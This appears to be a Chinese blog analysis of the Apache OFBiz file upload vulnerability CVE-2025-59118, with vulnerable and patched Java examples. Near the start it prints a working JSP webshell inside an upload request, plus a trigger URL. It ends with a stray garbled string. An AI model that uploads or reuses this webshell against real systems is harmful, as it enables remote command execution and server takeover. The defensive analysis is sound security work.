CVE-2025-59118:Apache OFBiz 高危文件上传漏洞深度解析与应对

5 阅读4分钟

🔍 项目概述

CVE-2025-59118 是 Apache OFBiz 中的一个关键 (Critical) 安全漏洞,其核心问题是无限制的危险类型文件上传 (Unrestricted Upload of File with Dangerous Type),攻击者可借此实现远程代码执行 (RCE),从而完全控制受影响服务器。该漏洞影响 24.09.03 之前的所有 Apache OFBiz 版本,已于 2025年11月12日公开披露。本文旨在为安全研究人员和系统管理员提供关于此漏洞的详细技术分析、危害评估以及全面的缓解与检测方案。

📦 漏洞利用环境与要求

  • 受影响的系统: Apache OFBiz 版本 小于 24.09.03
  • 依赖条件:
    • 目标系统运行在受影响版本。
    • 攻击者需要一个有效的低权限用户凭证 (Authentication Required)。
  • 工具准备: 常规的 HTTP 请求工具 (如 curl, Burp Suite) 即可用于漏洞验证。
  • 注意事项: 请在授权的测试环境中进行验证,严禁对非授权系统进行攻击测试。

-WebKitFormBoundary7MA4YWxkTrZu0gW

WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="uploadedFile"; filename="shell.jsp" Content-Type: application/octet-stream

<%@ page import="java.util.,java.io."%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> WebKitFormBoundary7MA4YWxkTrZu0gW--


上传成功后,访问 `http://vulnerable-ofbiz-server.com/webapp/shell.jsp?cmd=whoami` 即可看到命令执行结果。

---

## 🛠️ **核心代码分析**

### **1. 漏洞入口点分析 (ImageManagementServices)**

漏洞的核心在于上传服务的处理逻辑。在受影响版本中,`ImageManagementServices` 服务处理上传请求时,**缺乏对文件扩展名和内容的有效验证与过滤**。

```java
// 模拟漏洞代码逻辑 (非完整源码,仅为概念示意)
public class ImageManagementServices {
    public static Map<String, Object> uploadImage(DispatchContext dctx, Map<String, ? extends Object> context) {
        // 获取上传的文件
        GenericDelegator delegator = dctx.getDelegator();
        LocalDispatcher dispatcher = dctx.getDispatcher();
        // ... 省略其他业务逻辑 ...

        // 关键问题:此处直接将用户上传的文件保存到文件系统
        // 没有检查 filename 是否以 .jsp, .groovy 等危险扩展名结尾
        String fileName = (String) context.get("_UPLOADED_FILE_NAME_");
        byte[] fileBytes = (byte[]) context.get("_UPLOADED_FILE_");

        // 文件保存路径通常是 webapp 下的某个目录,如 /images/ 或直接是 webapp 根目录
        // 这使得上传的文件可以通过 HTTP 直接访问
        String savePath = System.getProperty("ofbiz.home") + "/webapp/images/" + fileName;

        try (FileOutputStream fos = new FileOutputStream(savePath)) {
            fos.write(fileBytes);
        } catch (IOException e) {
            // 异常处理...
        }

        // 返回成功,但危险文件已落地
        return ServiceUtil.returnSuccess();
    }
}

代码注释: 该简化代码展示了漏洞的核心问题:服务接收上传的文件名 (fileName) 和内容 (fileBytes) 后,未进行任何安全检查,直接将文件写入到 web 可访问目录 (/webapp/images/)。攻击者可以控制 fileNameshell.jsp,从而创建一个可执行的 JSP WebShell。

2. 修复方案原理 (以补丁思路为例)

安全的修复代码应在上传前执行严格的检查和过滤。

// 安全修复代码示意
public class SecureImageManagementServices {
    // 定义允许上传的安全文件扩展名白名单
    private static final Set<String> ALLOWED_EXTENSIONS = new HashSet<>(Arrays.asList("jpg", "jpeg", "png", "gif", "bmp"));

    public static Map<String, Object> uploadImage(DispatchContext dctx, Map<String, ? extends Object> context) {
        // 获取上传的文件名
        String originalFileName = (String) context.get("_UPLOADED_FILE_NAME_");
        byte[] fileBytes = (byte[]) context.get("_UPLOADED_FILE_");

        // ==== 安全修复开始 ====
        // 1. 检查文件扩展名
        String fileExtension = getFileExtension(originalFileName).toLowerCase();
        if (!ALLOWED_EXTENSIONS.contains(fileExtension)) {
            // 拒绝上传非白名单扩展名的文件
            return ServiceUtil.returnError("禁止上传此类型的文件: " + fileExtension);
        }

        // 2. 生成安全的随机文件名,防止路径穿越和覆盖
        String safeFileName = generateSafeRandomName() + "." + fileExtension;
        // 3. 验证文件内容 (例如,图片文件魔数检查)
        if (!isValidImageContent(fileBytes, fileExtension)) {
            return ServiceUtil.returnError("上传的文件内容无效或已被篡改。");
        }
        // ==== 安全修复结束 ====

        // 使用安全的文件名和已验证的内容进行保存
        String savePath = System.getProperty("ofbiz.home") + "/webapp/images/uploads/" + safeFileName;
        // ... 保存文件 ...

        return ServiceUtil.returnSuccess();
    }

    // 辅助方法:获取文件扩展名
    private static String getFileExtension(String fileName) {
        int dotIndex = fileName.lastIndexOf('.');
        return (dotIndex == -1) ? "" : fileName.substring(dotIndex + 1);
    }

    // 辅助方法:生成安全的随机文件名
    private static String generateSafeRandomName() {
        return UUID.randomUUID().toString();
    }

    // 辅助方法:简单的图片内容验证 (示例)
    private static boolean isValidImageContent(byte[] bytes, String ext) {
        // 实际实现应检查文件魔数 (Magic Number),例如 PNG 文件头是 89 50 4E 47
        // 此处为简化示意
        return bytes != null && bytes.length > 0;
    }
}

代码注释: 修复代码引入了多层防御:

  1. 白名单验证ALLOWED_EXTENSIONS 集合定义了仅允许的图片扩展名,阻止 .jsp.groovy 等危险文件上传。
  2. 文件名净化:使用 generateSafeRandomName() 生成随机的文件名,避免使用用户提供的原始文件名,防止目录穿越和已知路径访问。
  3. 内容验证isValidImageContent 函数应对文件内容进行校验(例如检查图片的文件头),确保上传的文件确实是其声称的类型,而非伪装的可执行脚本。这是防止文件扩展名绕过的关键。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAMK4vkTomDJStIh76IiacgC